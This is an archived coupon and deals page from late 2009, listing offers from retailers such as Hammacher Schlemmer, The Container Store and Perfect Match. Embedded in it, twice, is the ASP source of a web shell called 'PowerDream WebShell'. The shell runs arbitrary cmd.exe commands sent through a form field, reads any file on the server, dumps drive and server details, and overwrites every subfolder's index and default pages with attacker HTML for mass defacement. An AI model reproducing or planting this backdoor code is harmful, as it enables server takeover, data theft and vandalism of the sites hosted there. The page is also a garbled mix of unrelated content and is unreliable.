Other coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Other Coupons & Offers

coupon home > Other

Other Featured Deals

(See all Hammacher Schlemmer deals)

	Online Private Sale: Up to 60% OFF
	Great hidden discounts on Hammacher'... On-Going Promotion

	Check Out the Deal of the Week!
	On-Going Promotion

	FREE SHIPPING on orders $100 or more!
	Expires 11/30/2009 \| coupon code : NOVEMFS

(See all StubHub deals)

(See all The Container Store deals)

	$25 Gift Card when you buy $100 or more in Gift Cards!
	Purchase $100 in Gift Cards and Receive ... Expires 12/23/2009

	50% Off Special Savings On Select Items
	On-Going Promotion

	Free Shipping on $100 or more on Stocking Stuffers!
	Expires 12/19/2009

(See all SpreadShirt Designer.com deals)

	Get Free Shipping!
	Give A Gift Designed by You and get Fre... On-Going Promotion

Hot Deals

See all Hot Deals

1. Hammacher Schlemmer
Online Private Sale: Up to 60% OFF (162 clicks)

On-Going Promotion

2. The Container Store
50% Off Special Savings On Select Items (108 clicks)

On-Going Promotion

3. Perfect Match
$30 OFF 3 Month Subscription + Receive a FREE BOOK "Finding Your Perfect Match" (70 clicks)

Expires 1/1/2010

4. Hammacher Schlemmer
Check Out the Deal of the Week! (68 clicks)

On-Going Promotion

5. Perfect Match
Buy 2, Get 2 Free! (68 clicks)

Expires 12/30/2009

6. Perfect Match
$79 off a 3-month subscription! (64 clicks)

Expires 12/31/2009

7. Hammacher Schlemmer
FREE SHIPPING on orders $100 or more! (62 clicks)

coupon code : NOVEMFS

Expires 11/30/2009

8. The Container Store
$25 Gift Card when you buy $100 or more in Gift Cards! (52 clicks)

Expires 12/23/2009

9. The Container Store
Free Shipping on $100 or more on Stocking Stuffers! (46 clicks)

Expires 12/19/2009

10. Perfect Match
Seniors - Buy 1 Get 1 Month Free! (43 clicks)

On-Going Promotion

New Deals

See all New Deals

1. Hammacher Schlemmer Check Out the Deal of the Week!

On-Going Promotion

2. Adam & Eve Free Shipping, plus 2 Free Gifts!

On-Going Promotion

3. The Container Store Free Shipping on $100 or more on Stocking Stuffers!

Expires 12/19/2009

Expiring Deals

See all Expiring Deals

Monday November 30 2009 Hammacher Schlemmer
FREE SHIPPING on orders $100 or more!

coupon code : NOVEMFS

Monday November 30 2009 Sitter City
Save 15% on your registration!

coupon code : SAVE15

Saturday December 19 2009 The Container Store
Free Shipping on $100 or more on Stocking Stuffers!

Wednesday December 30 2009 Perfect Match
Buy 2, Get 2 Free!

Thursday December 31 2009 Adam & Eve
10% Off Your Entire Order!

coupon code : TENOFF

Other Deals

(See all Hammacher Schlemmer deals)

Online Private Sale: Up to 60% OFF

Great hidden discounts on Hammacher's guaranteed-for-life products

On-Going Promotion

Check Out the Deal of the Week!

use this Keycode link for the Hammacher Schlemmer Deal of the Week.

On-Going Promotion

FREE SHIPPING on orders $100 or more!

Get FREE SHIPPING on orders over $99 with the Keycode NOVEMFS.

coupon code : NOVEMFS
Expires 11/30/2009

See all Hammacher Schlemmer deals

(See all The Container Store deals)

$25 Gift Card when you buy $100 or more in Gift Cards!

Purchase $100 in Gift Cards and Receive a $25 Gift Card for Yourself

Expires 12/23/2009

50% Off Special Savings On Select Items

On-Going Promotion

Free Shipping on $100 or more on Stocking Stuffers!

Spend $100 and Receive Free Shipping on Stocking Stuffers at The Container Store!

Expires 12/19/2009

See all The Container Store deals

(See all Perfect Match deals)

$30 OFF 3 Month Subscription + Receive a FREE BOOK "Finding Your Perfect Match"

Take $30 OFF 3 Month Subscription on Perfectmatch.com PLUS Receive a FREE BOOK "Finding Your Perfect Match" when you use the Keycode coupon link!

Expires 1/1/2010

$79 off a 3-month subscription!

Save $79.00 with a 3-month subscription at Perfectmatch.com when you use the Keycode discount link!

Expires 12/31/2009

Buy 2, Get 2 Free!

Save Big on Memberships - Buy 2, Get 2 Free at Perfectmatch.com when you use the Keycode discount link!

Expires 12/30/2009

Seniors - Buy 1 Get 1 Month Free!

Best Online Dating Site for Senior Singles! Special Offer: Buy 1 Month, Get 1 FREE!

On-Going Promotion

See all Perfect Match deals

(See all Sitter City deals)

Save 15% on your registration!

Need a babysitter? The best local sitters are at Sittercity.com. Save 15% on registration with promo key code: SAVE15

coupon code : SAVE15
Expires 11/30/2009

See all Sitter City deals

(See all SpreadShirt Designer.com deals)

Get Free Shipping!

Give A Gift Designed by You and get Free Shipping!

On-Going Promotion

See all SpreadShirt Designer.com deals

(See all Adam & Eve deals)

25% Off Any One Item!

Take 25% Off Any One Item at Adam and Eve Toys when you use the Offer Code: :25Offone

coupon code : 25Offone
Expires 12/31/2009

10% Off Your Entire Order!

Get 10% Off Your Entire Order wiht the Coupon Code: TENOFF.

coupon code : TENOFF
Expires 12/31/2009

Up to 50% off Clearance Toys!

Clearance Toys Up to 50% off at Adamevetoys.com.

On-Going Promotion

Free Shipping, plus 2 Free Gifts!

Get Free Shipping, plus 2 Free Gifts at adamevetoys.com when you use the Key Code Source Code link!

On-Going Promotion

Get Lube Half Off with an Adult Toy Purchase!

Buy a Sex Toy Get Lube Half Off at adameve.com!

Expires 12/31/2009

See all Adam & Eve deals

All Merchants

Adam & Eve	Perfect Match	SpreadShirt Designer.com	The Container Store
Hammacher Schlemmer	Sitter City	StubHub

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>